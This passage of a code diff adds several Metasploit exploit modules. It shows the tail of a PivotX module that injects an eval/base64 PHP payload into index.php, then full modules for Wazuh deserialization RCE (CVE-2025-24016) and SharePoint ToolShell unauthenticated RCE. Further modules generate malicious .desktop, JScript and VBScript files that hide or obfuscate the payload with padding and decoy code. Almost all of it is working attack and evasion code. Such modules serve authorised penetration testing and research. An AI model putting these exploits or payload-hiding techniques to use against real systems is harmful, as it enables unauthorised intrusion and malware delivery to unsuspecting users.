'uri' => normalize_uri(target_uri.path, 'pivotx', 'ajaxhelper.php'),
'vars_post' => { 'csrfcheck' => @csrf_token, 'function' => 'save', 'basedir' => @base_dir, 'file' => 'index.php', 'contents' => "<?php eval(base64_decode('#{Base64.strict_encode64(payload.encoded)}')); ?> #{@original_value}" }
})
fail_with(Failure::PayloadFailed, 'Failed to insert malicious PHP payload') unless res&.code == 200 && res.body.include?('Wrote contents to file index.php')
end
def trigger_payload
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'index.php')
})
end
def restore
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'pivotx', 'ajaxhelper.php'),
'vars_post' => { 'csrfcheck' => @csrf_token, 'function' => 'save', 'basedir' => @base_dir, 'file' => 'index.php', 'contents' => @original_value }
})
vprint_status('Restoring original content')
vprint_error('Failed to restore original content') unless res&.code == 200 && res.body.include?('Wrote contents to file index.php')
end
def cleanup
super
# original content can be any string, it cannot be nil
restore if @original_value.nil?
end
def exploit
vprint_status('Logging in PivotX')
login
vprint_status('Modifying file and injecting payload')
modify_file
vprint_status('Triggering payload')
trigger_payload
end
end
@@ -0,0 +1,144 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Wazuh server remote code execution caused by an unsafe deserialization vulnerability.',
'Description' => %q{
Wazuh is a free and open source platform used for threat prevention, detection, and response.
Starting in version 4.4.0 and prior to version 4.9.1, an unsafe deserialization vulnerability
allows for remote code execution on Wazuh servers. DistributedAPI parameters are serialized
as JSON and deserialized using `as_wazuh_object` (in `framework/wazuh/core/cluster/common.py`).
If an attacker manages to inject an unsanitized dictionary in DAPI request/response, they can
forge an unhandled exception (`__unhandled_exc__`) to evaluate arbitrary python code.
The vulnerability can be triggered by anybody with API access (compromised dashboard or Wazuh
servers in the cluster) or, in certain configurations, even by a compromised agent.
},
'Author' => [
'h00die-gr3y <h00die.gr3y[at]gmail.com>', # Metasploit module & default password weakness
'DanielFi https://github.com/DanielFi', # Discovery
],
'References' => [
['CVE', '2025-24016'],
['URL', 'https://github.com/wazuh/wazuh/security/advisories/GHSA-hcrc-79hj-m3qh'],
['URL', 'https://attackerkb.com/topics/piW0q4r5Uy/cve-2025-24016']
],
'License' => MSF_LICENSE,
'Platform' => ['unix', 'linux'],
'Privileged' => false,
'Arch' => [ARCH_CMD],
'Targets' => [
[
'Unix/Linux Command',
{
'Platform' => ['unix', 'linux'],
'Arch' => ARCH_CMD,
'Type' => :unix_cmd
}
]
],
'DefaultTarget' => 0,
'DisclosureDate' => '2025-02-10',
'DefaultOptions' => {
'SSL' => true,
'RPORT' => 55000
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],
'Reliability' => [REPEATABLE_SESSION]
}
)
)
register_options([
OptString.new('TARGETURI', [true, 'Path to the wazuh manager', '/']),
OptString.new('API_USER', [true, 'Wazuh API user', 'wazuh-wui']),
OptString.new('API_PWD', [true, 'Wazuh API password', 'MyS3cr37P450r.*-'])
])
end
# get Wazuh API token
# return token if API login is successful else nil
def get_api_token
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'security', 'user', 'authenticate'),
'headers' => {
'Authorization' => basic_auth(datastore['API_USER'], datastore['API_PWD'])
}
})
return unless res&.code == 200 && res.body.include?('token')
res_json = res.get_json_document
res_json['data']['token'] unless res_json.blank?
end
# get the Wazuh version
# return version if successful else nil
def get_wazuh_version(api_token)
api_auth = "Bearer #{api_token}"
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path),
'headers' => {
'Authorization' => api_auth.to_s
}
})
return unless res&.code == 200 && res.body.include?('api_version')
res_json = res.get_json_document
res_json['data']['api_version'] unless res_json.blank?
end
# CVE-2025-24016: Command Injection leading to RCE via unsafe deserialization vulnerability
def execute_payload(cmd, _opts = {})
# {"__unhandled_exc__":{"__class__": "os.system", "__args__": ["cmd"]}}
post_data = {
__unhandled_exc__: {
__class__: 'os.system',
__args__: [ cmd.to_s ]
}
}.to_json
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'security', 'user', 'authenticate', 'run_as'),
'ctype' => 'application/json',
'headers' => {
'Authorization' => basic_auth(datastore['API_USER'], datastore['API_PWD'])
},
'data' => post_data.to_s
})
end
def check
# check Wazuh API access with the API credentials
api_token = get_api_token
return CheckCode::Unknown('Can not access the Wazuh API with provided credentials.') if api_token.nil?
version = get_wazuh_version(api_token)
return CheckCode::Detected('Can not determine the Wazuh version.') if version.nil?
version = Rex::Version.new(version)
unless version >= Rex::Version.new('4.4.0') && version < Rex::Version.new('4.9.1')
return CheckCode::Safe("Wazuh version #{version}")
end
CheckCode::Appears("Wazuh version #{version}")
end
def exploit
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
execute_payload(payload.encoded)
end
end
@@ -0,0 +1,86 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::FILEFORMAT
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Malicious XDG Desktop File',
'Description' => %q{
This module creates a malicious XDG Desktop (.desktop) file.
On most modern systems, desktop files are not trusted by default.
The user will receive a warning prompt that the file is not trusted
when running the file, but may choose to run the file anyway.
The default file manager applications in some desktop environments
may impose more strict execution requirements by prompting the user
to set the file as executable and/or marking the file as trusted
before the file can be executed.
},
'Author' => [
'bcoles'
],
'License' => MSF_LICENSE,
'References' => [
['ATT&CK', Mitre::Attack::Technique::T1204_002_MALICIOUS_FILE],
['URL', 'https://specifications.freedesktop.org/desktop-entry-spec/latest/'],
['URL', 'https://specifications.freedesktop.org/desktop-entry-spec/latest/exec-variables.html'],
['URL', 'https://wiki.archlinux.org/title/Desktop_entries']
],
'Platform' => %w[linux unix solaris freebsd],
'Arch' => [ARCH_CMD],
'Targets' => [
[ 'Automatic', {} ]
],
'DefaultTarget' => 0,
'Privileged' => false,
'DisclosureDate' => '2007-02-06',
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [SCREEN_EFFECTS]
}
)
)
register_options([
OptString.new('FILENAME', [true, 'The desktop file name.', 'msf.desktop']),
OptString.new('APPLICATION_NAME', [false, 'The application name. Some file managers will display this name instead of the file name. (default is random)', '']),
])
register_advanced_options([
OptInt.new('PrependNewLines', [false, 'Prepend new lines before the payload.', 100]),
])
end
def application_name
datastore['APPLICATION_NAME'].blank? ? rand_text_alpha(6..12) : datastore['APPLICATION_NAME']
end
def exploit
values = [
'Type=Application',
"Name=#{application_name}",
# 'Hidden=true', # This property is not supported by old systems, which prevents execution
'NoDisplay=true',
'Terminal=false'
]
desktop = "[Desktop Entry]\n"
desktop << values.shuffle.join("\n")
desktop << "\n"
desktop << "\n" * datastore['PrependNewLines']
escaped_payload = payload.encoded.gsub('\\', '\\\\\\').gsub('"', '\\"')
desktop << "Exec=/bin/sh -c \"#{escaped_payload}\""
file_create(desktop)
end
end
@@ -0,0 +1,116 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::FILEFORMAT
include Msf::Exploit::JSObfu
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Malicious Windows Script Host JScript (.js) File',
'Description' => %q{
This module creates a Windows Script Host (WSH) JScript (.js) file.
},
'License' => MSF_LICENSE,
'Author' => [
'bcoles'
],
'References' => [
['ATT&CK', Mitre::Attack::Technique::T1204_002_MALICIOUS_FILE],
],
'Arch' => [ARCH_CMD],
'Platform' => 'win',
'Payload' => {
'Space' => 8_000, # 8190 maximum command length, minus some space for "cmd.exe /c " and escaping
'BadChars' => "\x00",
'DisableNops' => true
},
'Targets' => [
[
'Microsoft Windows 98 or newer', {}
],
],
'Privileged' => false,
'DisclosureDate' => '1998-06-25', # Windows 98 release date
'DefaultTarget' => 0,
'DefaultOptions' => {
'DisablePayloadHandler' => true
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [SCREEN_EFFECTS]
}
)
)
register_options([
OptString.new('FILENAME', [true, 'The JScript file name.', 'msf.js']),
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', true])
])
register_advanced_options([
OptBool.new('PrependBenignCode', [false, 'Prepend several lines of benign code at the start of the file.', true]),
OptInt.new('PrependNewLines', [false, 'Prepend new lines before the malicious JScript.', 100]),
])
end
def generate_jscript(command_string, prepend_benign_code: false, prepend_new_lines: 0, obfuscate: false)
js = ''
# TODO: This could be improved by generating more realistic looking
# benign code with functions and flow control
if prepend_benign_code
rand(5..10).times do
js << "var #{rand_text_alpha(6..16)}=\"#{rand_text_alphanumeric(6..16)}\";\r\n"
end
end
js << "\r\n" * prepend_new_lines
escaped_payload = command_string.gsub('\\', '\\\\\\').gsub('"', '\\"')
# If the payload contains " & " we presume it is a command string.
#
# TODO: Change this once Metasploit is able to inform a module that
# the specified ARCH_CMD payload is a string of commands
# (not a single command).
if escaped_payload.include?(' & ')
cmd = "cmd.exe /c #{escaped_payload}"
else
cmd = escaped_payload
end
shell_var = rand_text_alpha(6..16)
js_payload = "var #{shell_var} = new ActiveXObject(\"WScript.Shell\");"
js_payload << "#{shell_var}.Run(\"#{cmd}\");"
if obfuscate
js_obfu = Rex::Exploitation::JSObfu.new(js_payload)
obfuscated_payload = js_obfu.obfuscate(memory_sensitive: false).to_s
# WSH JScript execution context does not support 'window' object
obfuscated_payload = obfuscated_payload.gsub('window[', 'String[')
js << obfuscated_payload
else
js << js_payload
end
js
end
def exploit
js = generate_jscript(
payload.encoded,
prepend_benign_code: datastore['PrependBenignCode'],
prepend_new_lines: datastore['PrependNewLines'],
obfuscate: datastore['OBFUSCATE']
)
file_create(js)
end
end
@@ -0,0 +1,220 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::FILEFORMAT
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Malicious Windows Script Host VBScript (.vbs) File',
'Description' => %q{
This module creates a Windows Script Host (WSH) VBScript (.vbs) file.
},
'License' => MSF_LICENSE,
'Author' => [
'bcoles'
],
'References' => [
['ATT&CK', Mitre::Attack::Technique::T1204_002_MALICIOUS_FILE],
],
'Arch' => [ARCH_CMD],
'Platform' => 'win',
'Payload' => {
'Space' => 8_000, # 8190 maximum command length, minus some space for "cmd.exe /c " and escaping
'BadChars' => "\x00",
'DisableNops' => true
},
'Targets' => [
[
'Microsoft Windows 98 or newer', {}
],
],
'Privileged' => false,
'DisclosureDate' => '1998-06-25', # Windows 98 release date
'DefaultTarget' => 0,
'DefaultOptions' => {
'DisablePayloadHandler' => true
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [SCREEN_EFFECTS]
}
)
)
register_options([
OptString.new('FILENAME', [true, 'The VBScript file name.', 'msf.vbs']),
OptBool.new('OBFUSCATE', [false, 'Enable VBScript obfuscation', true])
])
register_advanced_options([
OptBool.new('PrependBenignCode', [false, 'Prepend several lines of benign code at the start of the file.', true]),
OptInt.new('PrependNewLines', [false, 'Prepend new lines before the malicious VBScript.', 100]),
])
end
# Returns a random math expression evaluating to input int
#
# @param [Integer] int input integer
#
# @return [String] math expression evaluating to input int
def generate_number_expression(int)
case rand(4)
when 0 # Sum
a = rand(0..int)
b = int - a
"(#{a}+#{b})"
when 1 # Difference
r1 = int + rand(1..10)
r2 = r1 - int
"(#{r1}-#{r2})"
when 2 # Product (only if divisible)
divisors = (1..int).select { |d| (int % d).zero? }
if divisors.size > 1
d = divisors.sample
"(#{d}*#{int / d})"
else
"(#{int}+0)"
end
when 3 # Quotient
r2 = rand(1..10)
r1 = int * r2
"(#{r1}/#{r2})"
end
end
# Return VBScript code with all strings split into chunks and concatenated
#
# @param [String] vbscript VBScript code
#
# @return [String] VBScript code with chunked strings
def chunk_vbscript_strings(vbscript)
vbscript.gsub(/"([^"]+)"/) do
original = Regexp.last_match(1)
chunks = []
i = 0
while i < original.length
chunk_size = rand(1..5)
chunks << "\"#{original[i, chunk_size]}\""
i += chunk_size
end
chunks.join(' & ')
end
end
# Build a series of benign VBScript noise blocks
#
# @param [Integer] block_count Number of blocks to generate
#
# @return [String] block_count blocks of inert VBScript
def generate_vbscript_noise(block_count = 0)
lines = []
block_count.times do
case rand(4)
when 0 # Dummy variable declarations and assignments
v1 = rand_text_alpha(6..16)
v2 = rand_text_alpha(6..16)
a = rand(0..100)
b = rand(0..100)
lines << "Dim #{v1}, #{v2}"
lines << "#{v1} = #{a}"
lines << "#{v2} = #{b}"
when 1 # Dummy Function
fname = rand_text_alpha(6..16)
arg = rand_text_alpha(6..16)
mult = rand(1..5)
lines << "Function #{fname}(#{arg})"
lines << " #{fname} = #{arg} * #{mult}"
lines << 'End Function'
when 2 # Dummy Sub
sname = rand_text_alpha(6..16)
arg = rand_text_alpha(6..16)
mult = rand(1..5)
lines << "Sub #{sname}(#{arg})"
lines << " #{sname} = #{arg} * #{mult}"
lines << 'End Sub'
when 3 # Dummy For loop
idx = rand_text_alpha(6..16)
max = rand(1..5)
lines << "Dim #{idx}"
lines << "For #{idx} = 1 To #{max}"
lines << " #{idx} = #{idx} + 0"
lines << 'Next'
end
end
lines.join("\r\n")
end
# Obfuscate string literals and integer literals
#
# @param [String] vbscript VBScript code to be obfuscated
#
# @return [String] Obfuscated VBScript
def obfuscate_vbscript(vbscript)
obfuscated = vbscript.dup
# Obfuscate strings
obfuscated = chunk_vbscript_strings(obfuscated)
obfuscated.gsub!(/"((?:[^"]|"")*)"/) do
raw = ::Regexp.last_match(1).gsub('""', '"')
raw.chars.map { |c| "chr(#{generate_number_expression(c.ord)})" }.join(' & ')
end
# Obfuscate integers
obfuscated.gsub!(/\b\d+\b/) do |num|
generate_number_expression(num.to_i)
end
obfuscated
end
def generate_vbscript(command_string, prepend_benign_code: false, prepend_new_lines: 0, obfuscate: false)
vbs = ''
vbs << generate_vbscript_noise(rand(8..10)) if prepend_benign_code
vbs << "\r\n" * prepend_new_lines
escaped_payload = command_string.gsub('\\', '\\\\\\').gsub('"', '\\"')
# If the payload contains " & " we presume it is a command string.
#
# TODO: Change this once Metasploit is able to inform a module that
# the specified ARCH_CMD payload is a string of commands
# (not a single command).
if escaped_payload.include?(' & ')
cmd = "cmd.exe /c #{escaped_payload}"
else
cmd = escaped_payload
end
shell_obj = 'WScript.Shell'.chars.map { |c| (rand(2) == 0 ? c.downcase : c.upcase) }.join
vbs_payload = "CreateObject(\"#{shell_obj}\").Run(\"#{cmd}\")"
if obfuscate
vbs << obfuscate_vbscript(vbs_payload)
else
vbs << vbs_payload
end
vbs
end
def exploit
vbs = generate_vbscript(
payload.encoded,
prepend_benign_code: datastore['PrependBenignCode'],
prepend_new_lines: datastore['PrependNewLines'],
obfuscate: datastore['OBFUSCATE']
)
file_create(vbs)
end
end
@@ -0,0 +1,336 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Microsoft SharePoint Server ToolPane Unauthenticated Remote Code Execution (aka ToolShell)',
'Description' => %q{
This module exploits the authentication bypass vulnerabilities CVE-2025-49706 and CVE-2025-53771, and an unsafe
deserialization vulnerability CVE-2025-49704, to achieve unauthenticated RCE against a vulnerable Microsoft
SharePoint Server. The vulnerability CVE-2025-53770 was disclosed as being a patch bypass of CVE-2025-49704,
and as described by the finders, CVE-2025-53770 targets a different endpoint within the /_vti_bin/ URI path.
As this exploit module does not target the endpoint associated with CVE-2025-53770 (per the original finders),
we believe this module is best described as exploiting CVE-2025-49704 and not CVE-2025-53770.
},
'License' => MSF_LICENSE,
'Author' => [
# Discovered CVE-2025-49704 and CVE-2025-49706, demoed at Pwn2Own Berlin 2025.
# Credited by Microsoft as also discovering CVE-2025-53770 and CVE-2025-53771.
'Viettel Cyber Security',
# Metasploit module, based on the public PoC of the exploit for CVE-2025-49706 and CVE-2025-49704.
'sfewer-r7'
],
'References' => [
# Microsoft SharePoint DataSetSurrogateSelector Deserialization of Untrusted Data Remote Code Execution Vulnerability.
['CVE', '2025-49704'],
# Microsoft SharePoint ToolPane Authentication Bypass Vulnerability.
['CVE', '2025-49706'],
# Patch bypass for CVE-2025-49704, by targeting a different endpoint within the /_vti_bin/ path.
['CVE', '2025-53770'],
# Patch bypass for CVE-2025-49706.
['CVE', '2025-53771'],
# Technical analysis of CVE-2025-49704 and CVE-2025-49706 by the original finder, Dinh Ho Anh Khoa (Viettel Cyber Security).
['URL', 'https://blog.viettelcybersecurity.com/sharepoint-toolshell/'],
# LeakIX blog which captured the malicious request for the in-the-wild exploit for CVE-2025-49706, CVE-2025-53771, and CVE-2025-49704.
['URL', 'https://blog.leakix.net/2025/07/using-their-own-weapons-for-defense-a-sharepoint-story/'],
# Technical analysis of CVE-2025-49704, CVE-2025-49706, CVE-2025-53770 and CVE-2025-53771 by Kaspersky.
['URL', 'https://securelist.com/toolshell-explained/'],
# ZDI advisories for CVE-2025-49704 and CVE-2025-49706, discovered by Viettel Cyber Security.
['URL', 'https://www.zerodayinitiative.com/advisories/ZDI-25-580/'],
['URL', 'https://www.zerodayinitiative.com/advisories/ZDI-25-581/'],
# Microsoft advisories for CVE-2025-49704 and CVE-2025-49706.
['URL', 'https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-49704'],
['URL', 'https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-49706'],
# Microsoft advisories for CVE-2025-53770 and CVE-2025-53771.
['URL', 'https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-53770'],
['URL', 'https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-53771'],
# Microsoft Guidance.
['URL', 'https://www.microsoft.com/en-us/security/blog/2025/07/22/disrupting-active-exploitation-of-on-premises-sharepoint-vulnerabilities/'],
['URL', 'https://msrc.microsoft.com/blog/2025/07/customer-guidance-for-sharepoint-vulnerability-cve-2025-53770/'],
# The zero-day exploit for CVE-2025-49704, CVE-2025-49706, published July 21, 2025.
['URL', 'https://gist.github.com/gboddin/6374c04f84b58cef050f5f4ecf43d501'],
# Markus Wulftange (CODE WHITE GmbH) reproduced CVE-2025-49704 and CVE-2025-49706, circa July 14, 2025.
['URL', 'https://x.com/codewhitesec/status/1944743478350557232'],
# Dinh Ho Anh Khoa (Viettel Cyber Security) demoed CVE-2025-49704 and CVE-2025-49706 at Pwn2Own Berlin on May 16, 2025.
['URL', 'https://x.com/thezdi/status/1923317597673533552'],
# Prior work from Steven Seeley on a similar DataSet gadget chain for SharePoint.
['URL', 'https://srcincite.io/blog/2020/07/20/sharepoint-and-pwn-remote-code-execution-against-sharepoint-server-abusing-dataset.html']
],
'DisclosureDate' => '2025-07-08', # Disclosure date for CVE-2025-49704 and CVE-2025-49706.
'Platform' => ['win'],
'Arch' => [ARCH_CMD],
'Privileged' => false, # Executes as the SharePoint site user.
'Targets' => [
[
'Default', {}
]
],
# NOTE: Tested with the following payloads:
# cmd/windows/http/x64/meterpreter/reverse_tcp
# cmd/windows/generic
'DefaultOptions' => {
'RPORT' => 80,
'SSL' => false,
# Delete the fetch binary after execution.
'FETCH_DELETE' => true,
# The root path of the SharePoint site
'URIPATH' => '/'
},
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
)
)
end
def check
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '_layouts', '15', 'start.aspx')
)
return CheckCode::Unknown('Connection failed') unless res
return CheckCode::Unknown("Unexpected response code #{res.code}") unless res.code == 200
# The returned HTML will have a blob of JavaScript that contains a hash object called _spPageContextInfo. A key
# called siteClientTag will have a value of the current SharePoint Server patch level. We cannot rely on the HTTP
# header value MicrosoftSharePointTeamServices as this may not reflect the actual patch level.
site_client_tag = res.body.match(/"*siteClientTag"*\s*:\s*"\d*[$]+([^"]+)",/)
return CheckCode::Unknown('Unable to extract the siteClientTag') unless site_client_tag
version = Rex::Version.new(site_client_tag[1])
# We compare the version we pull from the target, against a table of known vulnerable SharePoint editions. We
# compare the target version against the RTM version (i.e. the first version of an edition) and the version *before*
# the patch for CVE-2025-53770 and CVE-2025-53771 (which supersedes patches for CVE-2025-49704 and CVE-2025-49706
# from July 2025).
# Note: A SharePoint server that has the patch for CVE-2025-49704 applied, may still be vulnerable if a SharePoint
# configuration update has not also manually occurred.
# https://learn.microsoft.com/en-us/sharepoint/product-servicing-policy/updated-product-servicing-policy-for-sharepoint-2019
# https://learn.microsoft.com/en-us/officeupdates/sharepoint-updates
ranges = [
[
'Microsoft SharePoint Server Subscription Edition',
'16.0.14326.20450', # The RTM version (circa 2021)
'16.0.18526.20424' # July 2025
],
[
'Microsoft SharePoint Server 2019',
'16.0.10337.12109', # The RTM version (circa 2019)
'16.0.10417.20027' # July 2025
],
[
'Microsoft SharePoint Enterprise Server 2016',
'16.0.4351.1000', # The RTM version (circa 2017)
'16.0.5508.1000' # July 2025
],
# NOTE: It is unclear if older unsupported versions (SharePoint Server 2013 and 2010) are vulnerable.
[
'SharePoint Server 2013',
'15.0.4481.1005',
'15.0.5545.1000' # Last version before end of support.
],
[
'SharePoint Server 2010',
'14.0.7015.1000',
'14.0.7268.5000' # Last version before end of support.
]
]
ranges.each do |product, rtm_version, patch_version|
if version.between?(Rex::Version.new(rtm_version), Rex::Version.new(patch_version))
return Exploit::CheckCode::Appears("Detected #{product} version #{version}")
end
end
# If we get here, it's a patched version.
Exploit::CheckCode::Safe("Detected Microsoft SharePoint Server version #{version}")
end
def exploit
gadget_raw = create_gadget_chain
send_exploit(gadget_raw)
end
# This gadget chain was reconstructed from the PoC posted here (https://gist.github.com/gboddin/6374c04f84b58cef050f5f4ecf43d501)
# and is thought to be from the zero-day exploit caught in-the-wild. The payload from the in-the-wild gadget chain has
# been removed, and we instead use our nested_gadget_b64 to execute a Metasploit payload (via a separate
# TypeConfuseDelegate gadget chain).
class DataSetWrapper < Msf::Util::DotNetDeserialization::Types::SerializedStream
def self.generate(nested_gadget_b64)
name_a = Rex::Text.rand_text_alpha_lower(8..16)
name_b = Rex::Text.rand_text_alpha_lower(8..16)
name_c = Rex::Text.rand_text_alpha_lower(8..16)
# The msdata:DataType attribute below is CVE-2025-49704, and allows bypassing a filter list so we can instantiate
# LosFormatter and ObjectDataProvider in the diffgr:diffgram XML document below, allowing us to kick off a second
# stage deserialization gadget (which will be a TypeConfuseDelegate + LosFormatter gadget chain).
schema = <<~EOF
<xs:schema xmlns="" xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata" id="#{name_a}">
<xs:element name="#{name_a}" msdata:IsDataSet="true" msdata:UseCurrentLocale="true">
<xs:complexType>
<xs:choice minOccurs="0" maxOccurs="unbounded">
<xs:element name="#{name_b}">
<xs:complexType>
<xs:sequence>
<xs:element name="#{name_c}" msdata:DataType="System.Collections.Generic.List`1[[System.Data.Services.Internal.ExpandedWrapper`2[[System.Web.UI.LosFormatter, System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]" type="xs:anyType" minOccurs="0"/>
</xs:sequence>
</xs:complexType>
</xs:element>
</xs:choice>
</xs:complexType>
</xs:element>
</xs:schema>
EOF
diffgram = <<~EOF
<diffgr:diffgram xmlns:msdata="urn:schemas-microsoft-com:xml-msdata" xmlns:diffgr="urn:schemas-microsoft-com:xml-diffgram-v1">
<#{name_a}>
<#{name_b} diffgr:id="Table" msdata:rowOrder="0" diffgr:hasChanges="inserted">
<#{name_c} xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
<ExpandedWrapperOfLosFormatterObjectDataProvider xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" >
<ExpandedElement/>
<ProjectedProperty0>
<MethodName>Deserialize</MethodName>
<MethodParameters>
<anyType xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xsi:type="xsd:string">#{nested_gadget_b64}</anyType>
</MethodParameters>
<ObjectInstance xsi:type="LosFormatter"></ObjectInstance>
</ProjectedProperty0>
</ExpandedWrapperOfLosFormatterObjectDataProvider>
</#{name_c}>
</#{name_b}>
</#{name_a}>
</diffgr:diffgram>
EOF
system = Msf::Util::DotNetDeserialization::Assemblies::VERSIONS['4.0.0.0'].fetch('System.Data')
library = Msf::Util::DotNetDeserialization::Types::RecordValues::BinaryLibrary.new(
library_id: 2,
library_name: system.to_s
)
from_values([
Msf::Util::DotNetDeserialization::Types::RecordValues::SerializationHeaderRecord.new(root_id: 1, header_id: -1),
library,
Msf::Util::DotNetDeserialization::Types::RecordValues::ClassWithMembersAndTypes.new(
class_info: Msf::Util::DotNetDeserialization::Types::General::ClassInfo.new(
obj_id: 1,
name: 'System.Data.DataSet',
member_names: %w[XmlSchema XmlDiffGram]
),
member_type_info: Msf::Util::DotNetDeserialization::Types::General::MemberTypeInfo.new(
binary_type_enums: %i[String String]
),
library_id: library.library_id,
member_values: [
Msf::Util::DotNetDeserialization::Types::Record.from_value(
Msf::Util::DotNetDeserialization::Types::RecordValues::BinaryObjectString.new(
obj_id: 3,
string: schema
)
),
Msf::Util::DotNetDeserialization::Types::Record.from_value(
Msf::Util::DotNetDeserialization::Types::RecordValues::BinaryObjectString.new(
obj_id: 2,
string: diffgram
)
),
]
),
Msf::Util::DotNetDeserialization::Types::RecordValues::MessageEnd.new
])
end
end
def create_gadget_chain
# NOTE: Depending on the version of SharePoint, different gadgets can be used.
#
# * A TypeConfuseDelegate + BinaryFormatter gadget chain was tested against Microsoft SharePoint Server 2019 version
# 16.0.10337.12109 (RTM circa 2019), but does not work on more recent versions like 16.0.10417.20018 (June 2025).
#
# * The XmlSchema DataSet chain which then wraps the TypeConfuseDelegate + LosFormatter gadget chain was tested to
# work against Microsoft SharePoint Server 2019 versions 16.0.10337.12109 (RTM circa 2019), 16.0.10417.20018
# (June 2025), and 16.0.10417.20027 (July 2025). This is the chain as caught in-the-wild circa July 19, 2025.
typeconfusedelegate_gadget_raw = ::Msf::Util::DotNetDeserialization.generate(
payload.encoded,
gadget_chain: :TypeConfuseDelegate,
formatter: :LosFormatter
)
vprint_status('Using TypeConfuseDelegate + LosFormatter gadget chain:')
vprint_line(Rex::Text.to_hex_dump(typeconfusedelegate_gadget_raw))
typeconfusedelegate_gadget_b64 = Base64.strict_encode64(typeconfusedelegate_gadget_raw)
dataset_gadget_raw = DataSetWrapper.generate(typeconfusedelegate_gadget_b64).to_binary_s
vprint_status('Using XmlSchema DataSet + BinaryFormatter gadget chain:')
vprint_line(Rex::Text.to_hex_dump(dataset_gadget_raw))
dataset_gadget_raw
end
def send_exploit(gadget_raw)
gadget_gzip = StringIO.new
gzip = Zlib::GzipWriter.new(gadget_gzip)
gzip.write(gadget_raw)
gzip.close
namespace_ui = Rex::Text.rand_text_alpha_lower(8..16)
namespace_scorecards = Rex::Text.rand_text_alpha_lower(8..16)
xml = <<~EOF
<%@ Register Tagprefix="#{namespace_ui}" Namespace="System.Web.UI" Assembly="System.Web.Extensions, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" %>
<%@ Register Tagprefix="#{namespace_scorecards}" Namespace="Microsoft.PerformancePoint.Scorecards" Assembly="Microsoft.PerformancePoint.Scorecards.Client, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" %>
<#{namespace_ui}:UpdateProgress>
<ProgressTemplate>
<#{namespace_scorecards}:ExcelDataSet CompressedDataTable="#{Base64.strict_encode64(gadget_gzip.string)}" DataTable-CaseSensitive="true" runat="server"/>
</ProgressTemplate>
</#{namespace_ui}:UpdateProgress>
EOF
send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(
target_uri.path,
'_layouts',
'15',
'ToolPane.aspx',
Rex::Text.rand_text_alpha_lower(8..16) # The addition of a trailing path segment appears to be CVE-2025-53771
),
'ctype' => 'application/x-www-form-urlencoded',
'headers' => {
'Referer' => normalize_uri(target_uri.path, '_layouts', 'SignOut.aspx') # This is part of CVE-2025-49706
},
'vars_get' => {
'DisplayMode' => 'Edit', # This is part of CVE-2025-49706
Rex::Text.rand_text_alpha_lower(8..16) => '/ToolPane.aspx' # This is part of CVE-2025-49706
},
'vars_post' => {
'MSOTlPn_Uri' => full_uri(normalize_uri(target_uri.path, '_controltemplates', '15', 'AclEditor.ascx')), # This is part of CVE-2025-49706
'MSOTlPn_DWP' => xml
}
)
end
end
+1 -1
View File
